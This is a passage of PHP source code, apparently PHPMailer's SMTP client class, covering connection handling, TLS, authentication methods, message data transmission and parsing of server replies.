    const MAX_REPLY_LENGTH = 512;

    /**
     * Debug level for no output.
     *
     * @var int
     */
    const DEBUG_OFF = 0;

    /**
     * Debug level to show client -> server messages.
     *
     * @var int
     */
    const DEBUG_CLIENT = 1;

    /**
     * Debug level to show client -> server and server -> client messages.
     *
     * @var int
     */
    const DEBUG_SERVER = 2;

    /**
     * Debug level to show connection status, client -> server and server -> client messages.
     *
     * @var int
     */
    const DEBUG_CONNECTION = 3;

    /**
     * Debug level to show all messages.
     *
     * @var int
     */
    const DEBUG_LOWLEVEL = 4;

    /**
     * Debug output level.
     * Options:
     * * self::DEBUG_OFF (`0`) No debug output, default
     * * self::DEBUG_CLIENT (`1`) Client commands
     * * self::DEBUG_SERVER (`2`) Client commands and server responses
     * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
     * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages.
     *
     * @var int
     */
    public $do_debug = self::DEBUG_OFF;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     *
     * ```php
     * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * ```
     *
     * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug`
     * level output is used:
     *
     * ```php
     * $mail->Debugoutput = new myPsr3Logger;
     * ```
     *
     * @var string|callable|\Psr\Log\LoggerInterface
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to use VERP.
     *
     * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @see https://www.postfix.org/VERP_README.html Info on VERP
     *
     * @var bool
     */
    public $do_verp = false;

    /**
     * The timeout value for connection, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
     *
     * @see https://www.rfc-editor.org/rfc/rfc2821#section-4.5.3.2
     *
     * @var int
     */
    public $Timeout = 300;

    /**
     * How long to wait for commands to complete, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     *
     * @var int
     */
    public $Timelimit = 300;

    /**
     * Patterns to extract an SMTP transaction id from reply to a DATA command.
     * The first capture group in each regex will be used as the ID.
     * MS ESMTP returns the message ID, which may not be correct for internal tracking.
     *
     * @var string[]
     */
    protected $smtp_transaction_id_patterns = [
        'exim' => '/[\d]{3} OK id=(.*)/',
        'sendmail' => '/[\d]{3} 2\.0\.0 (.*) Message/',
        'postfix' => '/[\d]{3} 2\.0\.0 Ok: queued as (.*)/',
        'Microsoft_ESMTP' => '/[0-9]{3} 2\.[\d]\.0 (.*)@(?:.*) Queued mail for delivery/',
        'Amazon_SES' => '/[\d]{3} Ok (.*)/',
        'SendGrid' => '/[\d]{3} Ok: queued as (.*)/',
        'CampaignMonitor' => '/[\d]{3} 2\.0\.0 OK:([a-zA-Z\d]{48})/',
        'Haraka' => '/[\d]{3} Message Queued \((.*)\)/',
        'ZoneMTA' => '/[\d]{3} Message queued as (.*)/',
        'Mailjet' => '/[\d]{3} OK queued as (.*)/',
    ];

    /**
     * Allowed SMTP XCLIENT attributes.
     * Must be allowed by the SMTP server. EHLO response is not checked.
     *
     * @see https://www.postfix.org/XCLIENT_README.html
     *
     * @var array
     */
    public static $xclient_allowed_attributes = [
        'NAME', 'ADDR', 'PORT', 'PROTO', 'HELO', 'LOGIN', 'DESTADDR', 'DESTPORT'
    ];

    /**
     * The last transaction ID issued in response to a DATA command,
     * if one was detected.
     *
     * @var string|bool|null
     */
    protected $last_smtp_transaction_id;

    /**
     * The socket for the server connection.
     *
     * @var ?resource
     */
    protected $smtp_conn;

    /**
     * Error information, if any, for the last SMTP command.
     *
     * @var array
     */
    protected $error = [
        'error' => '',
        'detail' => '',
        'smtp_code' => '',
        'smtp_code_ex' => '',
    ];

    /**
     * The reply the server sent to us for HELO.
     * If null, no HELO string has yet been received.
     *
     * @var string|null
     */
    protected $helo_rply;

    /**
     * The set of SMTP extensions sent in reply to EHLO command.
     * Indexes of the array are extension names.
     * Value at index 'HELO' or 'EHLO' (according to command that was sent)
     * represents the server name. In case of HELO it is the only element of the array.
     * Other values can be boolean TRUE or an array containing extension options.
     * If null, no HELO/EHLO string has yet been received.
     *
     * @var array|null
     */
    protected $server_caps;

    /**
     * The most recent reply received from the server.
     *
     * @var string
     */
    protected $last_reply = '';

    /**
     * Output debugging info via a user-selected method.
     *
     * @param string $str   Debug string to output
     * @param int    $level The debug level of this message; see DEBUG_* constants
     *
     * @see SMTP::$Debugoutput
     * @see SMTP::$do_debug
     */
    protected function edebug($str, $level = 0)
    {
        if ($level > $this->do_debug) {
            return;
        }
        //Is this a PSR-3 logger?
        if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            //Remove trailing line breaks potentially added by calls to SMTP::client_send()
            $this->Debugoutput->debug(rtrim($str, "\r\n"));

            return;
        }
        //Avoid clash with built-in function names
        if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) {
            call_user_func($this->Debugoutput, $str, $level);

            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                /** @noinspection ForgottenDebugOutputInspection */
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo gmdate('Y-m-d H:i:s'), ' ', htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                ), "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n|\r/m', "\n", $str);
                echo gmdate('Y-m-d H:i:s'),
                "\t",
                    //Trim trailing space
                trim(
                    //Indent for readability, except for trailing break
                    str_replace(
                        "\n",
                        "\n                   \t                  ",
                        trim($str)
                    )
                ),
                "\n";
        }
    }

    /**
     * Connect to an SMTP server.
     *
     * @param string $host    SMTP server IP or host name
     * @param int    $port    The port number to connect to
     * @param int    $timeout How long to wait for the connection to open
     * @param array  $options An array of options for stream_context_create()
     *
     * @return bool
     */
    public function connect($host, $port = null, $timeout = 30, $options = [])
    {
        //Clear errors to avoid confusion
        $this->setError('');
        //Make sure we are __not__ connected
        if ($this->connected()) {
            //Already connected, generate error
            $this->setError('Already connected to a server');

            return false;
        }
        if (empty($port)) {
            $port = self::DEFAULT_PORT;
        }
        //Connect to the SMTP server
        $this->edebug(
            "Connection: opening to $host:$port, timeout=$timeout, options=" .
            (count($options) > 0 ? var_export($options, true) : 'array()'),
            self::DEBUG_CONNECTION
        );

        $this->smtp_conn = $this->getSMTPConnection($host, $port, $timeout, $options);

        if ($this->smtp_conn === false) {
            //Error info already set inside `getSMTPConnection()`
            return false;
        }

        $this->edebug('Connection: opened', self::DEBUG_CONNECTION);

        //Get any announcement
        $this->last_reply = $this->get_lines();
        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
        $responseCode = (int)substr($this->last_reply, 0, 3);
        if ($responseCode === 220) {
            return true;
        }
        //Anything other than a 220 response means something went wrong
        //RFC 5321 says the server will wait for us to send a QUIT in response to a 554 error
        //https://www.rfc-editor.org/rfc/rfc5321#section-3.1
        if ($responseCode === 554) {
            $this->quit();
        }
        //This will handle 421 responses which may not wait for a QUIT (e.g. if the server is being shut down)
        $this->edebug('Connection: closing due to error', self::DEBUG_CONNECTION);
        $this->close();
        return false;
    }

    /**
     * Create connection to the SMTP server.
     *
     * @param string $host    SMTP server IP or host name
     * @param int    $port    The port number to connect to
     * @param int    $timeout How long to wait for the connection to open
     * @param array  $options An array of options for stream_context_create()
     *
     * @return false|resource
     */
    protected function getSMTPConnection($host, $port = null, $timeout = 30, $options = [])
    {
        static $streamok;
        //This is enabled by default since 5.0.0 but some providers disable it
        //Check this once and cache the result
        if (null === $streamok) {
            $streamok = function_exists('stream_socket_client');
        }

        $errno = 0;
        $errstr = '';
        if ($streamok) {
            $socket_context = stream_context_create($options);
            set_error_handler(function () {
                call_user_func_array([$this, 'errorHandler'], func_get_args());
            });
            $connection = stream_socket_client(
                $host . ':' . $port,
                $errno,
                $errstr,
                $timeout,
                STREAM_CLIENT_CONNECT,
                $socket_context
            );
        } else {
            //Fall back to fsockopen which should work in more places, but is missing some features
            $this->edebug(
                'Connection: stream_socket_client not available, falling back to fsockopen',
                self::DEBUG_CONNECTION
            );
            set_error_handler(function () {
                call_user_func_array([$this, 'errorHandler'], func_get_args());
            });
            $connection = fsockopen(
                $host,
                $port,
                $errno,
                $errstr,
                $timeout
            );
        }
        restore_error_handler();

        //Verify we connected properly
        if (!is_resource($connection)) {
            $this->setError(
                'Failed to connect to server',
                '',
                (string) $errno,
                $errstr
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error']
                . ": $errstr ($errno)",
                self::DEBUG_CLIENT
            );

            return false;
        }

        //SMTP server can take longer to respond, give longer timeout for first read
        //Windows does not have support for this timeout function
        if (strpos(PHP_OS, 'WIN') !== 0) {
            $max = (int)ini_get('max_execution_time');
            //Don't bother if unlimited, or if set_time_limit is disabled
            if (0 !== $max && $timeout > $max && strpos(ini_get('disable_functions'), 'set_time_limit') === false) {
                @set_time_limit($timeout);
            }
            stream_set_timeout($connection, $timeout, 0);
        }

        return $connection;
    }

    /**
     * Initiate a TLS (encrypted) session.
     *
     * @return bool
     */
    public function startTLS()
    {
        if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
            return false;
        }

        //Allow the best TLS version(s) we can
        $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;

        //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT
        //so add them back in manually if we can
        if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
        }

        //Begin encrypted connection
            set_error_handler(function () {
                call_user_func_array([$this, 'errorHandler'], func_get_args());
            });
        $crypto_ok = stream_socket_enable_crypto(
            $this->smtp_conn,
            true,
            $crypto_method
        );
        restore_error_handler();

        return (bool) $crypto_ok;
    }

    /**
     * Perform SMTP authentication.
     * Must be run after hello().
     *
     * @see    hello()
     *
     * @param string $username The user name
     * @param string $password The password
     * @param string $authtype The auth type (CRAM-MD5, PLAIN, LOGIN, XOAUTH2)
     * @param OAuthTokenProvider $OAuth An optional OAuthTokenProvider instance for XOAUTH2 authentication
     *
     * @return bool True if successfully authenticated
     */
    public function authenticate(
        $username,
        $password,
        $authtype = null,
        $OAuth = null
    ) {
        if (!$this->server_caps) {
            $this->setError('Authentication is not allowed before HELO/EHLO');

            return false;
        }

        if (array_key_exists('EHLO', $this->server_caps)) {
            //SMTP extensions are available; try to find a proper authentication method
            if (!array_key_exists('AUTH', $this->server_caps)) {
                $this->setError('Authentication is not allowed at this stage');
                //'at this stage' means that auth may be allowed after the stage changes
                //e.g. after STARTTLS

                return false;
            }

            $this->edebug('Auth method requested: ' . ($authtype ?: 'UNSPECIFIED'), self::DEBUG_LOWLEVEL);
            $this->edebug(
                'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
                self::DEBUG_LOWLEVEL
            );

            //If we have requested a specific auth type, check the server supports it before trying others
            if (null !== $authtype && !in_array($authtype, $this->server_caps['AUTH'], true)) {
                $this->edebug('Requested auth method not available: ' . $authtype, self::DEBUG_LOWLEVEL);
                $authtype = null;
            }

            if (empty($authtype)) {
                //If no auth mechanism is specified, attempt to use these, in this order
                //Try CRAM-MD5 first as it's more secure than the others
                foreach (['CRAM-MD5', 'LOGIN', 'PLAIN', 'XOAUTH2'] as $method) {
                    if (in_array($method, $this->server_caps['AUTH'], true)) {
                        $authtype = $method;
                        break;
                    }
                }
                if (empty($authtype)) {
                    $this->setError('No supported authentication methods found');

                    return false;
                }
                $this->edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL);
            }

            if (!in_array($authtype, $this->server_caps['AUTH'], true)) {
                $this->setError("The requested authentication method \"$authtype\" is not supported by the server");

                return false;
            }
        } elseif (empty($authtype)) {
            $authtype = 'LOGIN';
        }
        switch ($authtype) {
            case 'PLAIN':
                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
                    return false;
                }
                //Send encoded username and password
                if (
                    //Format from https://www.rfc-editor.org/rfc/rfc4616#section-2
                    //We skip the first field (it's forgery), so the string starts with a null byte
                    !$this->sendCommand(
                        'User & Password',
                        base64_encode("\0" . $username . "\0" . $password),
                        235
                    )
                ) {
                    return false;
                }
                break;
            case 'LOGIN':
                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand('Username', base64_encode($username), 334)) {
                    return false;
                }
                if (!$this->sendCommand('Password', base64_encode($password), 235)) {
                    return false;
                }
                break;
            case 'CRAM-MD5':
                //Start authentication
                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
                    return false;
                }
                //Get the challenge
                $challenge = base64_decode(substr($this->last_reply, 4));

                //Build the response
                $response = $username . ' ' . $this->hmac($challenge, $password);

                //send encoded credentials
                return $this->sendCommand('Username', base64_encode($response), 235);
            case 'XOAUTH2':
                //The OAuth instance must be set up prior to requesting auth.
                if (null === $OAuth) {
                    return false;
                }
                $oauth = $OAuth->getOauth64();

                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) {
                    return false;
                }
                break;
            default:
                $this->setError("Authentication method \"$authtype\" is not supported");

                return false;
        }

        return true;
    }

    /**
     * Calculate an MD5 HMAC hash.
     * Works like hash_hmac('md5', $data, $key)
     * in case that function is not available.
     *
     * @param string $data The data to hash
     * @param string $key  The key to hash with
     *
     * @return string
     */
    protected function hmac($data, $key)
    {
        if (function_exists('hash_hmac')) {
            return hash_hmac('md5', $data, $key);
        }

        //The following borrowed from
        //https://www.php.net/manual/en/function.mhash.php#27225

        //RFC 2104 HMAC implementation for php.
        //Creates an md5 HMAC.
        //Eliminates the need to install mhash to compute a HMAC
        //by Lance Rushing

        $bytelen = 64; //byte length for md5
        if (strlen($key) > $bytelen) {
            $key = pack('H*', md5($key));
        }
        $key = str_pad($key, $bytelen, chr(0x00));
        $ipad = str_pad('', $bytelen, chr(0x36));
        $opad = str_pad('', $bytelen, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;

        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
    }

    /**
     * Check connection state.
     *
     * @return bool True if connected
     */
    public function connected()
    {
        if (is_resource($this->smtp_conn)) {
            $sock_status = stream_get_meta_data($this->smtp_conn);
            if ($sock_status['eof']) {
                //The socket is valid but we are not connected
                $this->edebug(
                    'SMTP NOTICE: EOF caught while checking if connected',
                    self::DEBUG_CLIENT
                );
                $this->close();

                return false;
            }

            return true; //everything looks good
        }

        return false;
    }

    /**
     * Close the socket and clean up the state of the class.
     * Don't use this function without first trying to use QUIT.
     *
     * @see quit()
     */
    public function close()
    {
        $this->server_caps = null;
        $this->helo_rply = null;
        if (is_resource($this->smtp_conn)) {
            //Close the connection and cleanup
            fclose($this->smtp_conn);
            $this->smtp_conn = null; //Makes for cleaner serialization
            $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
        }
    }

    /**
     * Send an SMTP DATA command.
     * Issues a data command and sends the msg_data to the server,
     * finalizing the mail transaction. $msg_data is the message
     * that is to be sent with the headers. Each header needs to be
     * on a single line followed by a <CRLF> with the message headers
     * and the message body being separated by an additional <CRLF>.
     * Implements RFC 821: DATA <CRLF>.
     *
     * @param string $msg_data Message data to send
     *
     * @return bool
     */
    public function data($msg_data)
    {
        //This will use the standard timelimit
        if (!$this->sendCommand('DATA', 'DATA', 354)) {
            return false;
        }

        /* The server is ready to accept data!
         * According to rfc821 we should not send more than 1000 characters on a single line (including the LE)
         * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
         * smaller lines to fit within the limit.
         * We will also look for lines that start with a '.' and prepend an additional '.'.
         * NOTE: this does not count towards line-length limit.
         */

        //Normalize line breaks before exploding
        $lines = explode("\n", str_replace(["\r\n", "\r"], "\n", $msg_data));

        /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
         * of the first line (':' separated) does not contain a space then it _should_ be a header, and we will
         * process all lines before a blank line as headers.
         */

        $field = substr($lines[0], 0, strpos($lines[0], ':'));
        $in_headers = false;
        if (!empty($field) && strpos($field, ' ') === false) {
            $in_headers = true;
        }

        foreach ($lines as $line) {
            $lines_out = [];
            if ($in_headers && $line === '') {
                $in_headers = false;
            }
            //Break this line up into several smaller lines if it's too long
            //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
            while (isset($line[self::MAX_LINE_LENGTH])) {
                //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
                //so as to avoid breaking in the middle of a word
                $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
                //Deliberately matches both false and 0
                if (!$pos) {
                    //No nice break found, add a hard break
                    $pos = self::MAX_LINE_LENGTH - 1;
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos);
                } else {
                    //Break at the found point
                    $lines_out[] = substr($line, 0, $pos);
                    //Move along by the amount we dealt with
                    $line = substr($line, $pos + 1);
                }
                //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
                if ($in_headers) {
                    $line = "\t" . $line;
                }
            }
            $lines_out[] = $line;

            //Send the lines to the server
            foreach ($lines_out as $line_out) {
                //Dot-stuffing as per RFC5321 section 4.5.2
                //https://www.rfc-editor.org/rfc/rfc5321#section-4.5.2
                if (!empty($line_out) && $line_out[0] === '.') {
                    $line_out = '.' . $line_out;
                }
                $this->client_send($line_out . static::LE, 'DATA');
            }
        }

        //Message data has been sent, complete the command
        //Increase timelimit for end of DATA command
        $savetimelimit = $this->Timelimit;
        $this->Timelimit *= 2;
        $result = $this->sendCommand('DATA END', '.', 250);
        $this->recordLastTransactionID();
        //Restore timelimit
        $this->Timelimit = $savetimelimit;

        return $result;
    }

    /**
     * Send an SMTP HELO or EHLO command.
     * Used to identify the sending server to the receiving server.
     * This makes sure that client and server are in a known state.
     * Implements RFC 821: HELO <SP> <domain> <CRLF>
     * and RFC 2821 EHLO.
     *
     * @param string $host The host name or IP to connect to
     *
     * @return bool
     */
    public function hello($host = '')
    {
        //Try extended hello first (RFC 2821)
        if ($this->sendHello('EHLO', $host)) {
            return true;
        }

        //Some servers shut down the SMTP service here (RFC 5321)
        if (substr($this->helo_rply, 0, 3) == '421') {
            return false;
        }

        return $this->sendHello('HELO', $host);
    }

    /**
     * Send an SMTP HELO or EHLO command.
     * Low-level implementation used by hello().
     *
     * @param string $hello The HELO string
     * @param string $host  The hostname to say we are
     *
     * @return bool
     *
     * @see hello()
     */
    protected function sendHello($hello, $host)
    {
        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
        $this->helo_rply = $this->last_reply;
        if ($noerror) {
            $this->parseHelloFields($hello);
        } else {
            $this->server_caps = null;
        }

        return $noerror;
    }

    /**
     * Parse a reply to HELO/EHLO command to discover server extensions.
     * In case of HELO, the only parameter that can be discovered is a server name.
     *
     * @param string $type `HELO` or `EHLO`
     */
    protected function parseHelloFields($type)
    {
        $this->server_caps = [];
        $lines = explode("\n", $this->helo_rply);

        foreach ($lines as $n => $s) {
            //First 4 chars contain response code followed by - or space
            $s = trim(substr($s, 4));
            if (empty($s)) {
                continue;
            }
            $fields = explode(' ', $s);
            if (!empty($fields)) {
                if (!$n) {
                    $name = $type;
                    $fields = $fields[0];
                } else {
                    $name = array_shift($fields);
                    switch ($name) {
                        case 'SIZE':
                            $fields = ($fields ? $fields[0] : 0);
                            break;
                        case 'AUTH':
                            if (!is_array($fields)) {
                                $fields = [];
                            }
                            break;
                        default:
                            $fields = true;
                    }
                }
                $this->server_caps[$name] = $fields;
            }
        }
    }

    /**
     * Send an SMTP MAIL command.
     * Starts a mail transaction from the email address specified in
     * $from. Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command.
     * Implements RFC 821: MAIL <SP> FROM:<reverse-path> <CRLF>.
     *
     * @param string $from Source address of this message
     *
     * @return bool
     */
    public function mail($from)
    {
        $useVerp = ($this->do_verp ? ' XVERP' : '');

        return $this->sendCommand(
            'MAIL FROM',
            'MAIL FROM:<' . $from . '>' . $useVerp,
            250
        );
    }

    /**
     * Send an SMTP QUIT command.
     * Closes the socket if there is no error or the $close_on_error argument is true.
     * Implements from RFC 821: QUIT <CRLF>.
     *
     * @param bool $close_on_error Should the connection close if an error occurs?
     *
     * @return bool
     */
    public function quit($close_on_error = true)
    {
        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
        $err = $this->error; //Save any error
        if ($noerror || $close_on_error) {
            $this->close();
            $this->error = $err; //Restore any error from the quit command
        }

        return $noerror;
    }

    /**
     * Send an SMTP RCPT command.
     * Sets the TO argument to $toaddr.
     * Returns true if the recipient was accepted false if it was rejected.
     * Implements from RFC 821: RCPT <SP> TO:<forward-path> <CRLF>.
     *
     * @param string $address The address the message is being sent to
     * @param string $dsn     Comma separated list of DSN notifications. NEVER, SUCCESS, FAILURE
     *                        or DELAY. If you specify NEVER all other notifications are ignored.
     *
     * @return bool
     */
    public function recipient($address, $dsn = '')
    {
        if (empty($dsn)) {
            $rcpt = 'RCPT TO:<' . $address . '>';
        } else {
            $dsn = strtoupper($dsn);
            $notify = [];

            if (strpos($dsn, 'NEVER') !== false) {
                $notify[] = 'NEVER';
            } else {
                foreach (['SUCCESS', 'FAILURE', 'DELAY'] as $value) {
                    if (strpos($dsn, $value) !== false) {
                        $notify[] = $value;
                    }
                }
            }

            $rcpt = 'RCPT TO:<' . $address . '> NOTIFY=' . implode(',', $notify);
        }

        return $this->sendCommand(
            'RCPT TO',
            $rcpt,
            [250, 251]
        );
    }

    /**
     * Send SMTP XCLIENT command to server and check its return code.
     *
     * @return bool True on success
     */
    public function xclient(array $vars)
    {
        $xclient_options = "";
        foreach ($vars as $key => $value) {
            if (in_array($key, SMTP::$xclient_allowed_attributes)) {
                $xclient_options .= " {$key}={$value}";
            }
        }
        if (!$xclient_options) {
            return true;
        }
        return $this->sendCommand('XCLIENT', 'XCLIENT' . $xclient_options, 250);
    }

    /**
     * Send an SMTP RSET command.
     * Abort any transaction that is currently in progress.
     * Implements RFC 821: RSET <CRLF>.
     *
     * @return bool True on success
     */
    public function reset()
    {
        return $this->sendCommand('RSET', 'RSET', 250);
    }

    /**
     * Send a command to an SMTP server and check its return code.
     *
     * @param string    $command       The command name - not sent to the server
     * @param string    $commandstring The actual command to send
     * @param int|array $expect        One or more expected integer success codes
     *
     * @return bool True on success
     */
    protected function sendCommand($command, $commandstring, $expect)
    {
        if (!$this->connected()) {
            $this->setError("Called $command without being connected");

            return false;
        }
        //Reject line breaks in all commands
        if ((strpos($commandstring, "\n") !== false) || (strpos($commandstring, "\r") !== false)) {
            $this->setError("Command '$command' contained line breaks");

            return false;
        }
        $this->client_send($commandstring . static::LE, $command);

        $this->last_reply = $this->get_lines();
        //Fetch SMTP code and possible error code explanation
        $matches = [];
        if (preg_match('/^([\d]{3})[ -](?:([\d]\\.[\d]\\.[\d]{1,2}) )?/', $this->last_reply, $matches)) {
            $code = (int) $matches[1];
            $code_ex = (count($matches) > 2 ? $matches[2] : null);
            //Cut off error code from each response line
            $detail = preg_replace(
                "/{$code}[ -]" .
                ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . '/m',
                '',
                $this->last_reply
            );
        } else {
            //Fall back to simple parsing if regex fails
            $code = (int) substr($this->last_reply, 0, 3);
            $code_ex = null;
            $detail = substr($this->last_reply, 4);
        }

        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);

        if (!in_array($code, (array) $expect, true)) {
            $this->setError(
                "$command command failed",
                $detail,
                $code,
                $code_ex
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
                self::DEBUG_CLIENT
            );

            return false;
        }

        //Don't clear the error store when using keepalive
        if ($command !== 'RSET') {
            $this->setError('');
        }

        return true;
    }

    /**
     * Send an SMTP SAML command.
     * Starts a mail transaction from the email address specified in $from.
     * Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command. This command
     * will send the message to the users terminal if they are logged
     * in and send them an email.
     * Implements RFC 821: SAML <SP> FROM:<reverse-path> <CRLF>.
     *
     * @param string $from The address the message is from
     *
     * @return bool
     */
    public function sendAndMail($from)
    {
        return $this->sendCommand('SAML', "SAML FROM:$from", 250);
    }

    /**
     * Send an SMTP VRFY command.
     *
     * @param string $name The name to verify
     *
     * @return bool
     */
    public function verify($name)
    {
        return $this->sendCommand('VRFY', "VRFY $name", [250, 251]);
    }

    /**
     * Send an SMTP NOOP command.
     * Used to keep keep-alives alive, doesn't actually do anything.
     *
     * @return bool
     */
    public function noop()
    {
        return $this->sendCommand('NOOP', 'NOOP', 250);
    }

    /**
     * Send an SMTP TURN command.
     * This is an optional command for SMTP that this class does not support.
     * This method is here to make the RFC821 Definition complete for this class
     * and _may_ be implemented in future.
     * Implements from RFC 821: TURN <CRLF>.
     *
     * @return bool
     */
    public function turn()
    {
        $this->setError('The SMTP TURN command is not implemented');
        $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);

        return false;
    }

    /**
     * Send raw data to the server.
     *
     * @param string $data    The data to send
     * @param string $command Optionally, the command this is part of, used only for controlling debug output
     *
     * @return int|bool The number of bytes sent to the server or false on error
     */
    public function client_send($data, $command = '')
    {
        //If SMTP transcripts are left enabled, or debug output is posted online
        //it can leak credentials, so hide credentials in all but lowest level
        if (
            self::DEBUG_LOWLEVEL > $this->do_debug &&
            in_array($command, ['User & Password', 'Username', 'Password'], true)
        ) {
            $this->edebug('CLIENT -> SERVER: [credentials hidden]', self::DEBUG_CLIENT);
        } else {
            $this->edebug('CLIENT -> SERVER: ' . $data, self::DEBUG_CLIENT);
        }
        set_error_handler(function () {
            call_user_func_array([$this, 'errorHandler'], func_get_args());
        });
        $result = fwrite($this->smtp_conn, $data);
        restore_error_handler();

        return $result;
    }

    /**
     * Get the latest error.
     *
     * @return array
     */
    public function getError()
    {
        return $this->error;
    }

    /**
     * Get SMTP extensions available on the server.
     *
     * @return array|null
     */
    public function getServerExtList()
    {
        return $this->server_caps;
    }

    /**
     * Get metadata about the SMTP server from its HELO/EHLO response.
     * The method works in three ways, dependent on argument value and current state:
     *   1. HELO/EHLO has not been sent - returns null and populates $this->error.
     *   2. HELO has been sent -
     *     $name == 'HELO': returns server name
     *     $name == 'EHLO': returns boolean false
     *     $name == any other string: returns null and populates $this->error
     *   3. EHLO has been sent -
     *     $name == 'HELO'|'EHLO': returns the server name
     *     $name == any other string: if extension $name exists, returns True
     *       or its options (e.g. AUTH mechanisms supported). Otherwise returns False.
     *
     * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
     *
     * @return string|bool|null
     */
    public function getServerExt($name)
    {
        if (!$this->server_caps) {
            $this->setError('No HELO/EHLO was sent');

            return null;
        }

        if (!array_key_exists($name, $this->server_caps)) {
            if ('HELO' === $name) {
                return $this->server_caps['EHLO'];
            }
            if ('EHLO' === $name || array_key_exists('EHLO', $this->server_caps)) {
                return false;
            }
            $this->setError('HELO handshake was used; No information about server extensions available');

            return null;
        }

        return $this->server_caps[$name];
    }

    /**
     * Get the last reply from the server.
     *
     * @return string
     */
    public function getLastReply()
    {
        return $this->last_reply;
    }

    /**
     * Read the SMTP server's response.
     * Either before eof or socket timeout occurs on the operation.
     * With SMTP we can tell if we have more lines to read if the
     * 4th character is '-' symbol. If it is a space then we don't
     * need to read anything else.
     *
     * @return string
     */
    protected function get_lines()
    {
        //If the connection is bad, give up straight away
        if (!is_resource($this->smtp_conn)) {
            return '';
        }
        $data = '';
        $endtime = 0;
        stream_set_timeout($this->smtp_conn, $this->Timeout);
        if ($this->Timelimit > 0) {
            $endtime = time() + $this->Timelimit;
        }
        $selR = [$this->smtp_conn];
        $selW = null;
        while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
            //Must pass vars in here as params are by reference
            //solution for signals inspired by https://github.com/symfony/symfony/pull/6540
            set_error_handler(function () {
                call_user_func_array([$this, 'errorHandler'], func_get_args());
            });
            $n = stream_select($selR, $selW, $selW, $this->Timelimit);
            restore_error_handler();

            if ($n === false) {
                $message = $this->getError()['detail'];

                $this->edebug(
                    'SMTP -> get_lines(): select failed (' . $message . ')',
                    self::DEBUG_LOWLEVEL
                );

                //stream_select returns false when the `select` system call is interrupted
                //by an incoming signal, try the select again
                if (stripos($message, 'interrupted system call') !== false) {
                    $this->edebug(
                        'SMTP -> get_lines(): retrying stream_select',
                        self::DEBUG_LOWLEVEL
                    );
                    $this->setError('');
                    continue;
                }

                break;
            }

            if (!$n) {
                $this->edebug(
                    'SMTP -> get_lines(): select timed-out in (' . $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }

            //Deliberate noise suppression - errors are handled afterwards
            $str = @fgets($this->smtp_conn, self::MAX_REPLY_LENGTH);
            $this->edebug('SMTP INBOUND: "' . trim($str) . '"', self::DEBUG_LOWLEVEL);
            $data .= $str;
            //If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled),
            //or 4th character is a space or a line break char, we are done reading, break the loop.
            //String array access is a significant micro-optimisation over strlen
